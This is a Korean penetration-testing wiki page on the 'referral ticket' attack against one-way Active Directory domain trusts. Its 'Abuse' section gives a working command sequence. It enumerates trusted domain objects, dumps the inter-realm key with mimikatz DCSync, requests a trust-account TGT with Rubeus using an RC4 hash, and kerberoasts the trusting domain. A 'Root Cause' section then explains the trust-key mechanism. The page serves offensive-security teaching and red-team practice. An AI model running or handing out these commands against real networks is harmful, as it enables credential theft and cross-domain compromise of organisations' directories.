Referral Ticket
A 도메인은 B 도메인을 신뢰하지만 B 도메인은 A 도메인을 신뢰하지 않는 일방향적 신뢰 관계에서 A 도메인을 장악 후 Inter-realm Key를 덤프한다면, 신뢰 계정을 이용한 교차 도메인 공격이 가능합니다.
Abuse
import base64
import uuid
# base64 문자열
b64_guid = ''
raw_bytes = base64.b64decode(b64_guid)
guid = str(uuid.UUID(bytes_le=raw_bytes))
print("GUID:", guid)
# TDO GUID 열거
Get-ADObject -Filter 'objectClass -eq "trustedDomain"' -SearchBase "CN=System,DC=PENTEST,DC=LOCAL"
# Inter-realm Key 덤프
.\mimikatz.exe "lsadump::dcsync /guid:{f2599de1-3401-41dc-967a-80f50343cf1e} /domain:PENTEST.LOCAL"
# 레퍼럴 티켓 생성
.\Rubeus.exe asktgt /user:'PENTEST$' /domain:'CONTOSO.COM' /rc4:'ae8ac4546d823b0549450e3e803151f' /nowrap /ptt
# 커버로스팅
.\Rubeus.exe kerberoast /domain:'CONTOSO.COM' /nowrap
Root Cause

도메인 신뢰 관계가 구성되면 신뢰 패스워드가 생성되어 TDO(Trusted Domain Object)에 Inter-realm Key로 저장되며, 이 값은 신뢰받는 도메인에 생성되는 신뢰 계정의 패스워드로 사용됩니다.
신뢰 관계가 구성되었을 때 KDC는 교차 도메인에 저장된 객체들의 자격 증명을 알 수 없습니다. 따라서 양 도메인 간에 사용할 공통 키가 요구되며 Inter-realm Key가 그 역할을 합니다.
신뢰받는 도메인 객체는 언제든지 신뢰하는 도메인의 리소스에 접근할 수 있어야 하기 때문에 신뢰 계정을 이용합니다. 신뢰받는 도메인 KDC에 클라이언트가 외부 도메인 FQDN에 대한 SPN을 요청하면, KDC는 접근 가능한 외부 도메인 중 클라이언트가 명시한 FQDN과 일치하는 것이 있는지 확인합니다.
만약 일치한다면 KDC는 외부 도메인에 대한 합법적인 리소스 접근이라 판단하여 신뢰 계정의 패스워드로 TGT를 암호화하여 클라이언트에게 반환합니다.
외부 도메인은 요청된 레퍼럴 티켓을 복호화하기 위해서 Inter-realm Key를 TDO로부터 가져올 수 있는데, 이 매커니즘을 악용하면 공격자는 신뢰하는 도메인을 장악한 이후, Inter-realm Key를 덤프할 수 있습니다.
Inter-realm Key를 획득하면 신뢰받는 도메인을 대상으로 한 신뢰 계정 TGT를 발급받은 뒤, 리소스 접근이 가능합니다.
Last updated
Was this helpful?